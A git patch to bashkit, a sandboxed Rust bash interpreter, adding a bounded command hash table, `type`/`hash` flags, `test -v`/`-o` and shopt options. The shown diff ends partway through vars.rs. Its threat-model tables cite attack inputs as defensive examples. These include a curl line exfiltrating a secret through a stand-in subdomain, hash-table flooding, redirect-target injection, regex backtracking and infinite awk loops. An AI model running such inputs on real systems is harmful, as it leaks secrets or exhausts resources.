From 5635b606ff7ab9e656186c571538de8e3271115d Mon Sep 17 00:00:00 2001 From: Mykhailo Chalyi Date: Thu, 8 Oct 2026 14:17:21 +0000 Subject: [PATCH 1/2] fix(interpreter): close Oils type/hash, redirect, here-doc, shell-option and special-variable gaps type/hash follow bash (flags, hashed paths, relative PATH entries, a bounded command hash table); eval/source accept `--`; shopt knows bash 5.2's options and defaults; test gains -v/-o; SHELLOPTS/BASHOPTS are computed readonly variables and `export SHELLOPTS` reaches child shells; bash parses -c/-O/+O/-/-- like bash. Redirect targets expand once (ambiguous redirect, failglob, no globbing of quoted text); 2>&1 merges stderr in write order for groups, functions, scripts, eval, source and child shells; 1<&2, exec N>&M-, per-command N<, here-doc line continuation. $_, $BASHPID, readonly UID/EUID/PPID, env -i startup variables, LINENO in for (( )), GNU wc padding. Oils spec 78.8% -> 82.1% (2120 -> 2211 of 2692), no new misses. --- crates/bashkit/docs/threat-model.md | 2 + crates/bashkit/src/builtins/introspect.rs | 471 +- crates/bashkit/src/builtins/mod.rs | 71 +- crates/bashkit/src/builtins/test.rs | 58 +- crates/bashkit/src/builtins/vars.rs | 357 +- crates/bashkit/src/builtins/wc.rs | 75 +- crates/bashkit/src/interpreter/declare.rs | 7 + crates/bashkit/src/interpreter/mod.rs | 870 ++- crates/bashkit/src/interpreter/redirection.rs | 319 +- crates/bashkit/src/parser/lexer.rs | 15 +- crates/bashkit/src/parser/mod.rs | 10 +- .../tests/integration/threat_model_tests.rs | 57 +- .../bashkit/tests/spec_cases/bash/ln.test.sh | 2 +- .../bash/redirect-and-shell-builtins.test.sh | 242 + knowledge/log.md | 4 + knowledge/operations/limitations.md | 11 +- knowledge/operations/oils-spec.md | 25 +- knowledge/security/threat-model.md | 6 +- ...ls-spec-linux-x86_64-20261008T152730Z.json | 4827 +++++++++++++++++ ...oils-spec-linux-x86_64-20261008T152730Z.md | 167 + 20 files changed, 6960 insertions(+), 636 deletions(-) create mode 100644 crates/bashkit/tests/spec_cases/bash/redirect-and-shell-builtins.test.sh create mode 100644 scripts/oils-spec/results/oils-spec-linux-x86_64-20261008T152730Z.json create mode 100644 scripts/oils-spec/results/oils-spec-linux-x86_64-20261008T152730Z.md diff --git a/crates/bashkit/docs/threat-model.md b/crates/bashkit/docs/threat-model.md index 1802c3e5c..cc004d1c5 100644 --- a/crates/bashkit/docs/threat-model.md +++ b/crates/bashkit/docs/threat-model.md @@ -77,6 +77,7 @@ through configurable limits. | Regex backtrack (TM-DOS-025) | `grep "a](*b)*c" file` | Regex crate limits | PARTIAL | | AWK unbounded loops (TM-DOS-033) | `BEGIN { while(1){} }`, nested loops, deep recursion | Per-loop and whole-program loop caps from `ExecutionLimits`, call-depth cap; all fatal (exit 2) | MITIGATED | | awk commands (TM-DOS-128) | `system()`, `print \| cmd` or `cmd \| getline` in a loop | Each command runs as `sh -c` in the sandbox shell under the session's command budget and timeout; awk's loop, output and getline caps still apply | MITIGATED | +| Command hash table growth (TM-DOS-129) | `hash -p /x nameN` or many distinct PATH commands | The table holds at most 512 entries and drops the oldest; assigning `PATH` empties it | MITIGATED | **Stack Overflow / Recursion:** @@ -500,6 +501,7 @@ exfiltration by encoding secrets in subdomains (`curl https://$SECRET.example.co | Template injection via `#each` data (TM-INJ-023) | Data values contain `{{`/`#each` markers | Template markers escaped in data before interpolation | MITIGATED | | Tool schema `$ref` bypass (TM-INJ-024) | Referenced constraints are skipped before host callback invocation | Resolve local JSON Pointer references; fail closed on invalid references | MITIGATED | | Host-bridge argument re-parsing (TM-INJ-025) | A reference bridge joins parsed arguments into a `sh -c` / `cmd /C` script | Launch a concrete executable and pass every caller argument as its own argv value | MITIGATED | +| Redirect target re-expansion (TM-INJ-026) | `> $v` with a value holding `$(...)` text or a glob | A target is expanded once; zero or several words are `ambiguous redirect` and nothing is written; the result is used literally afterwards | MITIGATED | **Variable Expansion:** diff --git a/crates/bashkit/src/builtins/introspect.rs b/crates/bashkit/src/builtins/introspect.rs index 0973a58ef..178cc2c7a 100644 --- a/crates/bashkit/src/builtins/introspect.rs +++ b/crates/bashkit/src/builtins/introspect.rs @@ -5,18 +5,111 @@ use async_trait::async_trait; -use super::{BASH_BUILTIN_NAMES, Builtin, Context, search_path, search_path_all}; +use super::{ + BASH_BUILTIN_NAMES, Builtin, Context, search_path, search_path_all, search_path_or_file, +}; use crate::error::Result; use crate::interpreter::ExecResult; +/// One remembered `$PATH` lookup (`hash`). +#[derive(Clone, Debug)] +pub(crate) struct HashEntry { + pub(crate) name: String, + /// The file found. `None` for a registered builtin that real bash runs + /// from `PATH` (`whoami`): its path is the root filesystem stub, looked + /// up when shown. + pub(crate) path: Option, + pub(crate) hits: u32, +} + +/// bash's command hash table: names found along `$PATH`, the file each one +/// resolved to, and how often it ran. A hashed name runs that file without +/// searching again until `hash -r` or a `PATH` assignment clears the table. +#[derive(Clone, Debug, Default)] +pub(crate) struct CommandHash { + entries: Vec, +} + +impl CommandHash { + /// Bound on remembered names; past it the oldest entry is dropped + /// (THREAT[TM-DOS-060]: a loop over generated names cannot grow it). + const MAX_ENTRIES: usize = 512; + + pub(crate) fn is_empty(&self) -> bool { + self.entries.is_empty() + } + + pub(crate) fn clear(&mut self) { + self.entries.clear(); + } + + pub(crate) fn get(&self, name: &str) -> Option<&HashEntry> { + self.entries.iter().find(|e| e.name == name) + } + + pub(crate) fn remove(&mut self, name: &str) -> bool { + let before = self.entries.len(); + self.entries.retain(|e| e.name != name); + before != self.entries.len() + } + + /// Remember `name` (replacing any entry) with `hits` uses. + pub(crate) fn insert(&mut self, name: &str, path: Option, hits: u32) { + self.remove(name); + if self.entries.len() >= Self::MAX_ENTRIES { + self.entries.remove(0); + } + self.entries.push(HashEntry { + name: name.to_string(), + path, + hits, + }); + } + + /// Count one use of `name`, adding it with `path` when new. + pub(crate) fn hit(&mut self, name: &str, path: Option) { + if let Some(entry) = self.entries.iter_mut().find(|e| e.name == name) { + entry.hits = entry.hits.saturating_add(1); + } else { + self.insert(name, path, 1); + } + } + + pub(crate) fn entries(&self) -> &[HashEntry] { + &self.entries + } +} + +/// The file a hash entry stands for, resolving a builtin's root-filesystem +/// stub on demand. +async fn hashed_path(ctx: &Context<'_>, entry: &HashEntry) -> Option { + match &entry.path { + Some(p) => Some(p.clone()), + None => search_path(ctx, &entry.name).await, + } +} + /// `type` builtin — display information about command type. /// /// Usage: type [-afptP] name [name ...] +/// +/// Follows bash's `describe_command`: alias (with `expand_aliases`), keyword, +/// function (unless `-f`), builtin, hashed file (unless `-a`), then the files +/// along `PATH` (all of them with `-a`). `-P` skips straight to the file +/// search; `-p` prints only file paths but a name found earlier still counts +/// as found. pub struct Type; +#[derive(Clone, Copy, PartialEq)] +enum TypeMode { + Describe, + TypeOnly, + PathOnly, +} + #[async_trait] impl Builtin for Type { - async fn execute(&self, ctx: Context<'_>) -> Result { + async fn execute(&self, mut ctx: Context<'_>) -> Result { let Some(shell) = ctx.shell.as_ref() else { return Ok(ExecResult::err( "bash: type: not available in this context\n".to_string(), @@ -24,29 +117,25 @@ impl Builtin for Type { )); }; - if ctx.args.is_empty() { - return Ok(ExecResult::err( - "bash: type: usage: type [-afptP] name [name ...]\n".to_string(), - 1, - )); - } - - let mut type_only = false; // -t - let mut path_only = false; // -p + let mut mode = TypeMode::Describe; let mut force_path = false; // -P let mut show_all = false; // -a + let mut no_funcs = false; // -f let mut names: Vec<&str> = Vec::new(); + let mut options_done = false; for arg in ctx.args { - if arg.starts_with('-') && arg.len() > 1 { + if !options_done && arg == "--" { + options_done = true; + } else if !options_done && names.is_empty() && arg.starts_with('-') && arg.len() > 1 { for c in arg[1..].chars() { match c { - 't' => type_only = true, - 'p' => path_only = true, + 't' => mode = TypeMode::TypeOnly, + 'p' => mode = TypeMode::PathOnly, 'a' => show_all = true, - 'f' => {} // -f: suppress function lookup (ignored for now) + 'f' => no_funcs = true, 'P' => { - path_only = true; + mode = TypeMode::PathOnly; force_path = true; } _ => { @@ -55,7 +144,7 @@ impl Builtin for Type { "bash: type: -{}: invalid option\ntype: usage: type [-afptP] name [name ...]\n", c ), - 1, + 2, )); } } @@ -65,79 +154,130 @@ impl Builtin for Type { } } + if names.is_empty() { + return Ok(ExecResult::ok(String::new())); + } + + let expand_aliases = ctx + .variables + .get("SHOPT_expand_aliases") + .is_some_and(|v| v == "1"); + let mut output = String::new(); let mut errors = String::new(); let mut all_found = true; + let mut hashed_hits: Vec = Vec::new(); for name in &names { - let is_func = shell.has_function(name); - let is_kw = shell.is_keyword(name); - let registered = shell.has_builtin(name); - let path = search_path(&ctx, name).await; - // A registered command that real bash runs from PATH is a file - // when the root filesystem provides it. - let is_builtin = registered && (BASH_BUILTIN_NAMES.contains(name) || path.is_none()); - - if type_only { - if is_func { - output.push_str("function\n"); - } else if is_kw { - output.push_str("keyword\n"); - } else if is_builtin { - output.push_str("builtin\n"); - } else if path.is_some() { - output.push_str("file\n"); - } else { - all_found = false; - } - } else if path_only { - match &path { - Some(p) if force_path || (!is_func && !is_builtin && !is_kw) => { - output.push_str(&format!("{p}\n")); + let mut found = false; + // Each step returns early (`continue 'name`) unless `-a`. + 'name: { + if !force_path { + if expand_aliases && let Some(value) = shell.aliases.get(*name) { + match mode { + TypeMode::TypeOnly => output.push_str("alias\n"), + TypeMode::Describe => { + output.push_str(&format!("{name} is aliased to `{value}'\n")) + } + TypeMode::PathOnly => {} + } + found = true; + if !show_all { + break 'name; + } } - Some(_) => {} - None => { - if force_path || (!is_func && !is_builtin && !is_kw) { - all_found = false; + if shell.is_keyword(name) { + match mode { + TypeMode::TypeOnly => output.push_str("keyword\n"), + TypeMode::Describe => { + output.push_str(&format!("{name} is a shell keyword\n")) + } + TypeMode::PathOnly => {} + } + found = true; + if !show_all { + break 'name; } } - } - } else { - let mut found_any = false; - if is_func { - output.push_str(&format!("{} is a function\n", name)); - if let Some(text) = shell.function_text(name) { - output.push_str(&text); - output.push('\n'); + if !no_funcs && shell.has_function(name) { + match mode { + TypeMode::TypeOnly => output.push_str("function\n"), + TypeMode::Describe => { + output.push_str(&format!("{name} is a function\n")); + if let Some(text) = shell.function_text(name) { + output.push_str(&text); + output.push('\n'); + } + } + TypeMode::PathOnly => {} + } + found = true; + if !show_all { + break 'name; + } + } + // A registered command that real bash runs from PATH is a + // file when the root filesystem provides it. + let is_builtin = shell.has_builtin(name) + && (BASH_BUILTIN_NAMES.contains(name) + || search_path(&ctx, name).await.is_none()); + if is_builtin { + match mode { + TypeMode::TypeOnly => output.push_str("builtin\n"), + TypeMode::Describe => { + output.push_str(&format!("{name} is a shell builtin\n")) + } + TypeMode::PathOnly => {} + } + found = true; + if !show_all { + break 'name; + } } - found_any = true; - } - if is_kw && (show_all || !found_any) { - output.push_str(&format!("{} is a shell keyword\n", name)); - found_any = true; } - if is_builtin && (show_all || !found_any) { - output.push_str(&format!("{} is a shell builtin\n", name)); - found_any = true; + if (!show_all || force_path) + && let Some(entry) = shell.command_hash.get(name) + && let Some(path) = hashed_path(&ctx, entry).await + { + // bash counts a lookup through `type` as a hit. + hashed_hits.push(name.to_string()); + match mode { + TypeMode::TypeOnly => output.push_str("file\n"), + TypeMode::Describe => { + output.push_str(&format!("{name} is hashed ({path})\n")) + } + TypeMode::PathOnly => output.push_str(&format!("{path}\n")), + } + found = true; + break 'name; } - if show_all { - for p in search_path_all(&ctx, name, false).await { - output.push_str(&format!("{name} is {p}\n")); - found_any = true; + let files = if show_all { + search_path_all(&ctx, name, false).await + } else { + search_path_or_file(&ctx, name).await.into_iter().collect() + }; + for path in files { + match mode { + TypeMode::TypeOnly => output.push_str("file\n"), + TypeMode::Describe => output.push_str(&format!("{name} is {path}\n")), + TypeMode::PathOnly => output.push_str(&format!("{path}\n")), } - } else if let Some(p) = &path - && !found_any - { - output.push_str(&format!("{name} is {p}\n")); - found_any = true; + found = true; } - if !found_any { - errors.push_str(&format!("bash: type: {}: not found\n", name)); - all_found = false; + } + if !found { + if mode == TypeMode::Describe { + errors.push_str(&format!("bash: type: {name}: not found\n")); } + all_found = false; } } + if let Some(shell) = ctx.shell.as_mut() { + for name in &hashed_hits { + shell.command_hash.hit(name, None); + } + } let exit_code = if all_found { 0 } else { 1 }; Ok(ExecResult { stdout: output.into(), @@ -189,52 +329,171 @@ impl Builtin for Which { } } -/// `hash` builtin. +/// `hash` builtin: show and edit the command hash table ([`CommandHash`]). /// -/// Bashkit keeps no command hash table (every lookup walks the virtual -/// PATH), so the table always reads as empty: a bare `hash` reports that, -/// `hash -r` succeeds, and `hash NAME` only checks that NAME resolves. +/// `hash` lists it, `hash NAME` adds NAME's `PATH` file, `-r` clears, `-d` +/// forgets, `-t` prints the file, `-l` prints reusable `hash -p` lines and +/// `-p FILE NAME` sets an entry. Shell builtins (`cd`) are never hashed. pub struct Hash; +const HASH_USAGE: &str = "hash: usage: hash [-lr] [-p pathname] [-dt] [name ...]\n"; + #[async_trait] impl Builtin for Hash { - async fn execute(&self, ctx: Context<'_>) -> Result { - let mut names = Vec::new(); - let mut list_only = true; - let mut options_done = false; - for arg in ctx.args.iter() { - if !options_done && arg == "--" { - options_done = true; - } else if !options_done && arg.starts_with('-') && arg.len() > 1 { - // -r clears the (empty) table; -l/-t/-d/-p act on entries. - if arg.contains(['r', 'd', 'p', 't']) { - list_only = false; + async fn execute(&self, mut ctx: Context<'_>) -> Result { + let mut names: Vec = Vec::new(); + let (mut clear, mut delete, mut show, mut list) = (false, false, false, false); + let mut set_path: Option = None; + let mut i = 0; + while i < ctx.args.len() { + let arg = &ctx.args[i]; + i += 1; + if !names.is_empty() || arg == "-" || !arg.starts_with('-') { + names.push(arg.clone()); + continue; + } + if arg == "--" { + names.extend(ctx.args[i..].iter().cloned()); + break; + } + for (pos, c) in arg[1..].char_indices() { + match c { + 'r' => clear = true, + 'd' => delete = true, + 't' => show = true, + 'l' => list = true, + 'p' => { + let rest = &arg[1 + pos + 1..]; + if !rest.is_empty() { + set_path = Some(rest.to_string()); + } else if i < ctx.args.len() { + set_path = Some(ctx.args[i].clone()); + i += 1; + } else { + return Ok(ExecResult::err( + format!( + "bash: hash: -p: option requires an argument\n{HASH_USAGE}" + ), + 2, + )); + } + break; + } + _ => { + return Ok(ExecResult::err( + format!("bash: hash: -{c}: invalid option\n{HASH_USAGE}"), + 2, + )); + } } - } else { - names.push(arg.as_str()); } } + + let Some(shell) = ctx.shell.take() else { + return Ok(ExecResult::ok(String::new())); + }; + + if clear { + shell.command_hash.clear(); + } + let mut out = String::new(); + let mut err = String::new(); + let mut status = 0; + if names.is_empty() { - return Ok(if list_only { - ExecResult::ok("hash: hash table empty\n".to_string()) - } else { - ExecResult::ok(String::new()) - }); + if clear || set_path.is_some() { + return Ok(ExecResult::ok(String::new())); + } + if delete || show { + return Ok(ExecResult::err( + format!( + "bash: hash: -{}: option requires an argument\n", + if delete { 'd' } else { 't' } + ), + 1, + )); + } + let entries = shell.command_hash.entries().to_vec(); + let mut lines = String::new(); + for entry in &entries { + let Some(path) = hashed_path(&ctx, entry).await else { + continue; + }; + if list { + lines.push_str(&format!("builtin hash -p {path} {}\n", entry.name)); + } else { + lines.push_str(&format!("{:>4}\t{path}\n", entry.hits)); + } + } + if lines.is_empty() { + return Ok(ExecResult::ok("hash: hash table empty\n".to_string())); + } + if !list { + out.push_str("hits\tcommand\n"); + } + out.push_str(&lines); + return Ok(ExecResult::ok(out)); } - let mut errors = String::new(); - for name in names { - let builtin = ctx - .shell - .as_ref() - .is_some_and(|s| s.has_builtin(name) || s.has_function(name)); - if !builtin && search_path(&ctx, name).await.is_none() { - errors.push_str(&format!("bash: hash: {name}: not found\n")); + + let many = names.len() > 1; + for name in &names { + if let Some(path) = &set_path { + shell.command_hash.insert(name, Some(path.clone()), 0); + continue; + } + if delete { + if !shell.command_hash.remove(name) { + err.push_str(&format!("bash: hash: {name}: not found\n")); + status = 1; + } + continue; + } + if show || list { + match shell.command_hash.get(name).cloned() { + Some(entry) => { + let path = hashed_path(&ctx, &entry).await.unwrap_or_default(); + if list { + out.push_str(&format!("builtin hash -p {path} {name}\n")); + } else if many { + out.push_str(&format!("{name}\t{path}\n")); + } else { + out.push_str(&format!("{path}\n")); + } + } + None => { + err.push_str(&format!("bash: hash: {name}: not found\n")); + status = 1; + } + } + continue; + } + // `hash NAME`: shell builtins and functions are not hashed. + if name.contains('/') + || BASH_BUILTIN_NAMES.contains(&name.as_str()) + || shell.has_function(name) + { + continue; + } + match search_path(&ctx, name).await { + Some(path) => { + let path = if shell.has_builtin(name) { + None + } else { + Some(path) + }; + shell.command_hash.insert(name, path, 0); + } + None if shell.has_builtin(name) => {} + None => { + err.push_str(&format!("bash: hash: {name}: not found\n")); + status = 1; + } } } - let code = i32::from(!errors.is_empty()); Ok(ExecResult { - stderr: errors.into(), - exit_code: code, + stdout: out.into(), + stderr: err.into(), + exit_code: status, ..Default::default() }) } diff --git a/crates/bashkit/src/builtins/mod.rs b/crates/bashkit/src/builtins/mod.rs index 5aef6baea..ae4c1b492 100644 --- a/crates/bashkit/src/builtins/mod.rs +++ b/crates/bashkit/src/builtins/mod.rs @@ -209,6 +209,7 @@ pub use http::Http; pub use iconv::Iconv; pub use inspect::{File, Less, Stat}; pub use install::Install; +pub(crate) use introspect::CommandHash; pub use introspect::{Hash, Type, Which}; pub(crate) use jobctl::signal_name; pub use join::Join; @@ -267,7 +268,10 @@ pub use trap::Trap; pub use tree::Tree; pub use truncate::Truncate; pub use vars::{Eval, Local, Readonly, Set, Shift, Shopt, Times, Unset}; -pub(crate) use vars::{SET_O_OPTIONS, dollar_dash}; +pub(crate) use vars::{ + SET_O_OPTIONS, bashopts_value, dollar_dash, set_o_var_by_letter, set_o_var_by_name, + shellopts_value, shopt_known, +}; pub use verify::Verify; #[cfg(feature = "terminal")] pub use vi::Vi; @@ -690,13 +694,35 @@ pub(crate) async fn search_path(ctx: &Context<'_>, name: &str) -> Option } /// Every executable `name` along `PATH`, in order (`type -a`); stops at the -/// first when `first_only`. +/// first when `first_only`. A relative `PATH` entry (`_tmp`, or an empty one, +/// which means `.`) is looked up from the current directory but reported as +/// written (`_tmp/pwd`), as bash does. pub(crate) async fn search_path_all( ctx: &Context<'_>, name: &str, first_only: bool, +) -> Vec { + search_path_with(ctx, name, first_only, false).await +} + +/// bash's `find_user_command`: the first executable `name` along `PATH`, or +/// failing that the first regular file of that name (`type -t` says `file`, +/// running it fails with "Permission denied"). +pub(crate) async fn search_path_or_file(ctx: &Context<'_>, name: &str) -> Option { + search_path_with(ctx, name, true, true) + .await + .into_iter() + .next() +} + +async fn search_path_with( + ctx: &Context<'_>, + name: &str, + first_only: bool, + file_fallback: bool, ) -> Vec { let mut found = Vec::new(); + let mut fallback = None; if name.is_empty() || name.contains('/') { return found; } @@ -706,22 +732,43 @@ pub(crate) async fn search_path_all( .or_else(|| ctx.env.get("PATH")) .cloned() .unwrap_or_default(); - for dir in path_var.split(':').filter(|d| !d.is_empty()) { - let candidate = format!("{}/{name}", dir.trim_end_matches('/')); - if let Ok(meta) = ctx.fs.stat(Path::new(&candidate)).await - && meta.file_type.is_file() - && meta.mode & 0o111 != 0 - && !found.contains(&candidate) - { - found.push(candidate); - if first_only { - break; + for dir in path_var.split(':') { + let candidate = path_candidate(dir, name); + let resolved = resolve_path(ctx.cwd, &candidate); + let Ok(meta) = ctx.fs.stat(&resolved).await else { + continue; + }; + if !meta.file_type.is_file() || found.contains(&candidate) { + continue; + } + if meta.mode & 0o111 == 0 { + if file_fallback && fallback.is_none() { + fallback = Some(candidate); } + continue; + } + found.push(candidate); + if first_only { + break; } } + if found.is_empty() + && let Some(file) = fallback + { + found.push(file); + } found } +/// `dir/name` for one `PATH` entry; an empty entry is the current directory. +pub(crate) fn path_candidate(dir: &str, name: &str) -> String { + if dir.is_empty() { + format!("./{name}") + } else { + format!("{}/{name}", dir.trim_end_matches('/')) + } +} + /// One step requested by a [`PlanDriver`]. pub enum PlanStep { /// Run `command` (in `cwd` when set, restoring the shell cwd afterwards) diff --git a/crates/bashkit/src/builtins/test.rs b/crates/bashkit/src/builtins/test.rs index 972eb700e..d388207fb 100644 --- a/crates/bashkit/src/builtins/test.rs +++ b/crates/bashkit/src/builtins/test.rs @@ -41,8 +41,15 @@ impl Builtin for Test { } let cwd = ctx.cwd.clone(); + let set_vars = ctx.shell.as_ref().map_or(&[][..], |s| s.set_vars); + let env = Env { + fs: &ctx.fs, + cwd: &cwd, + variables: ctx.variables, + set_vars, + }; // Parse and evaluate the expression - match evaluate_expression(ctx.args, &ctx.fs, &cwd, ctx.variables).await { + match evaluate_expression(ctx.args, &env).await { Ok(true) => Ok(ExecResult::ok(String::new())), Ok(false) => Ok(ExecResult::err(String::new(), 1)), Err(e) => Ok(usage_error("test", e)), @@ -70,8 +77,15 @@ impl Builtin for Bracket { } let cwd = ctx.cwd.clone(); + let set_vars = ctx.shell.as_ref().map_or(&[][..], |s| s.set_vars); + let env = Env { + fs: &ctx.fs, + cwd: &cwd, + variables: ctx.variables, + set_vars, + }; // Parse and evaluate the expression - match evaluate_expression(&args, &ctx.fs, &cwd, ctx.variables).await { + match evaluate_expression(&args, &env).await { Ok(true) => Ok(ExecResult::ok(String::new())), Ok(false) => Ok(ExecResult::err(String::new(), 1)), Err(e) => Ok(usage_error("[", e)), @@ -89,13 +103,21 @@ fn resolve_file_path(cwd: &Path, arg: &str) -> PathBuf { } } -/// Evaluate a test expression -fn evaluate_expression<'a>( - args: &'a [String], +/// What an expression can look at: the filesystem, the cwd, shell variables +/// (`set -o` state for `-o`) and the `-v` answers from the interpreter. +struct Env<'a> { fs: &'a Arc, cwd: &'a Path, variables: &'a HashMap, + set_vars: &'a [String], +} + +/// Evaluate a test expression +fn evaluate_expression<'a>( + args: &'a [String], + env: &'a Env<'a>, ) -> std::pin::Pin + Send + 'a>> { + let (fs, cwd) = (env.fs, env.cwd); Box::pin(async move { if args.is_empty() { return Ok(false); @@ -103,12 +125,12 @@ fn evaluate_expression<'a>( // Handle negation if args[0] == "!" { - return Ok(!evaluate_expression(&args[1..], fs, cwd, variables).await?); + return Ok(!evaluate_expression(&args[1..], env).await?); } // Handle parentheses (basic support) if args[0] == "(" && args.last().map(|s| s.as_str()) == Some(")") { - return evaluate_expression(&args[1..args.len() - 1], fs, cwd, variables).await; + return evaluate_expression(&args[1..args.len() - 1], env).await; } // Look for logical operators: -o has lowest precedence, then -a. @@ -120,16 +142,16 @@ fn evaluate_expression<'a>( // Both sides are evaluated: bash's `test` connectives do not // short-circuit, so a bad operand on the right is an error // even when the left side already decides the answer. - let left = evaluate_expression(&args[..i], fs, cwd, variables).await; - let right = evaluate_expression(&args[i + 1..], fs, cwd, variables).await; + let left = evaluate_expression(&args[..i], env).await; + let right = evaluate_expression(&args[i + 1..], env).await; let (left, right) = (left?, right?); return Ok(left || right); } } for (i, arg) in args.iter().enumerate() { if arg == "-a" && i > 0 && i + 1 < args.len() { - let left = evaluate_expression(&args[..i], fs, cwd, variables).await; - let right = evaluate_expression(&args[i + 1..], fs, cwd, variables).await; + let left = evaluate_expression(&args[..i], env).await; + let right = evaluate_expression(&args[i + 1..], env).await; let (left, right) = (left?, right?); return Ok(left && right); } @@ -143,7 +165,7 @@ fn evaluate_expression<'a>( } 2 => { // Unary operators - evaluate_unary(&args[0], &args[1], fs, cwd, variables).await + evaluate_unary(&args[0], &args[1], env).await } 3 => { // Binary operators @@ -155,14 +177,12 @@ fn evaluate_expression<'a>( } /// Evaluate a unary test expression -async fn evaluate_unary( - op: &str, - arg: &str, - fs: &Arc, - cwd: &Path, - variables: &HashMap, -) -> TestResult { +async fn evaluate_unary(op: &str, arg: &str, env: &Env<'_>) -> TestResult { + let (fs, cwd, variables) = (env.fs, env.cwd, env.variables); match op { + // Shell state: a set variable, an enabled `set -o` option. + "-v" => Ok(env.set_vars.iter().any(|v| v == arg)), + "-o" => Ok(super::vars::set_o_option_on(variables, arg).unwrap_or(false)), // String tests "-z" => Ok(arg.is_empty()), "-n" => Ok(!arg.is_empty()), diff --git a/crates/bashkit/src/builtins/vars.rs b/crates/bashkit/src/builtins/vars.rs index ac869b36e..a393b780c 100644 --- a/crates/bashkit/src/builtins/vars.rs +++ b/crates/bashkit/src/builtins/vars.rs @@ -106,6 +106,63 @@ pub(crate) const SET_O_OPTIONS: &[(&str, Option, &str, bool)] = &[ ("xtrace", Some('x'), "SHOPT_x", false), ]; +/// Record one `set -o` option. The `emacs` and `vi` editing modes exclude +/// each other: turning one on turns the other off. +fn set_o_store(variables: &mut std::collections::HashMap, var: &str, on: bool) { + if on { + match var { + "SHOPT_vi" => { + variables.insert("SHOPT_emacs".to_string(), "0".to_string()); + } + "SHOPT_emacs" => { + variables.insert("SHOPT_vi".to_string(), "0".to_string()); + } + _ => {} + } + } + variables.insert(var.to_string(), if on { "1" } else { "0" }.to_string()); +} + +/// Whether `set -o` option `name` is on (`test -o name`); `None` when +/// bash has no such option. +pub(crate) fn set_o_option_on( + variables: &std::collections::HashMap, + name: &str, +) -> Option { + let (_, _, var, default) = set_option_by_name(name)?; + Some(set_option_on(variables, var, *default)) +} + +/// The variable behind `set -o NAME` (`bash -o NAME`). +pub(crate) fn set_o_var_by_name(name: &str) -> Option<&'static str> { + set_option_by_name(name).map(|o| o.2) +} + +/// The variable behind `set -X` (`bash -X`). +pub(crate) fn set_o_var_by_letter(c: char) -> Option<&'static str> { + set_option_by_letter(c).map(|o| o.2) +} + +/// `$SHELLOPTS`: the `set -o` options that are on, colon-separated. +pub(crate) fn shellopts_value(variables: &std::collections::HashMap) -> String { + SET_O_OPTIONS + .iter() + .filter(|(_, _, var, default)| set_option_on(variables, var, *default)) + .map(|(name, ..)| *name) + .collect::>() + .join(":") +} + +/// `$BASHOPTS`: the `shopt` options that are on, colon-separated. +pub(crate) fn bashopts_value(variables: &std::collections::HashMap) -> String { + SHOPT_OPTIONS + .iter() + .filter(|(name, _)| shopt_on(variables, name)) + .map(|(name, _)| *name) + .collect::>() + .join(":") +} + /// Letters in the order bash prints them in `$-`. const DOLLAR_DASH_ORDER: &str = "abefhikmnptuvxBCEHPT"; @@ -268,8 +325,7 @@ impl Builtin for Set { } for (var, on) in changes { - ctx.variables - .insert(var.to_string(), if on { "1" } else { "0" }.to_string()); + set_o_store(ctx.variables, var, on); } let mut result = match listing { Some(dash) => ExecResult::ok(format_set_o(ctx.variables, dash)), @@ -465,60 +521,87 @@ impl Builtin for Eval { } } -/// Known shopt option names. Maps to SHOPT_* variables. -const SHOPT_OPTIONS: &[&str] = &[ - "autocd", - "cdspell", - "checkhash", - "checkjobs", - "checkwinsize", - "cmdhist", - "compat31", - "compat32", - "compat40", - "compat41", - "compat42", - "compat43", - "compat44", - "direxpand", - "dirspell", - "dotglob", - "execfail", - "expand_aliases", - "extdebug", - "extglob", - "extquote", - "failglob", - "force_fignore", - "globasciiranges", - "globstar", - "gnu_errfmt", - "histappend", - "histreedit", - "histverify", - "hostcomplete", - "huponexit", - "inherit_errexit", - "interactive_comments", - "lastpipe", - "lithist", - "localvar_inherit", - "localvar_unset", - "login_shell", - "mailwarn", - "no_empty_cmd_completion", - "nocaseglob", - "nocasematch", - "nullglob", - "progcomp", - "progcomp_alias", - "promptvars", - "restricted_shell", - "shift_verbose", - "sourcepath", - "xpg_echo", +/// Every `shopt` option in bash 5.2's listing order, with its default for a +/// non-interactive shell. Stored as `SHOPT_`: "1" on, "0" off, absent +/// means the default. Options with no effect in the sandbox (`checkwinsize`, +/// `cdable_vars`, ...) are still recorded and reported like bash. +const SHOPT_OPTIONS: &[(&str, bool)] = &[ + ("autocd", false), + ("assoc_expand_once", false), + ("cdable_vars", false), + ("cdspell", false), + ("checkhash", false), + ("checkjobs", false), + ("checkwinsize", true), + ("cmdhist", true), + ("compat31", false), + ("compat32", false), + ("compat40", false), + ("compat41", false), + ("compat42", false), + ("compat43", false), + ("compat44", false), + ("complete_fullquote", true), + ("direxpand", false), + ("dirspell", false), + ("dotglob", false), + ("execfail", false), + ("expand_aliases", false), + ("extdebug", false), + ("extglob", false), + ("extquote", true), + ("failglob", false), + ("force_fignore", true), + ("globasciiranges", true), + ("globskipdots", true), + ("globstar", false), + ("gnu_errfmt", false), + ("histappend", false), + ("histreedit", false), + ("histverify", false), + ("hostcomplete", true), + ("huponexit", false), + ("inherit_errexit", false), + ("interactive_comments", true), + ("lastpipe", false), + ("lithist", false), + ("localvar_inherit", false), + ("localvar_unset", false), + ("login_shell", false), + ("mailwarn", false), + ("no_empty_cmd_completion", false), + ("nocaseglob", false), + ("nocasematch", false), + ("noexpand_translation", false), + ("nullglob", false), + ("patsub_replacement", true), + ("progcomp", true), + ("progcomp_alias", false), + ("promptvars", true), + ("restricted_shell", false), + ("shift_verbose", false), + ("sourcepath", true), + ("varredir_close", false), + ("xpg_echo", false), ]; +pub(crate) fn shopt_known(name: &str) -> bool { + SHOPT_OPTIONS.iter().any(|(n, _)| *n == name) +} + +/// Whether shopt option `name` is on (its default when never set). +pub(crate) fn shopt_on(variables: &std::collections::HashMap, name: &str) -> bool { + let default = SHOPT_OPTIONS + .iter() + .find(|(n, _)| *n == name) + .is_some_and(|(_, d)| *d); + match variables.get(&format!("SHOPT_{name}")).map(String::as_str) { + Some("1") => true, + Some("0") => false, + _ => default, + } +} + /// `shopt -o`: the same verbs applied to `set -o` options. fn shopt_set_o( variables: &mut std::collections::HashMap, @@ -544,12 +627,8 @@ fn shopt_set_o( continue; }; match mode { - Some('s') => { - variables.insert(var.to_string(), "1".to_string()); - } - Some('u') => { - variables.insert(var.to_string(), "0".to_string()); - } + Some('s') => set_o_store(variables, var, true), + Some('u') => set_o_store(variables, var, false), Some('q') => { if !set_option_on(variables, var, *default) { status = 1; 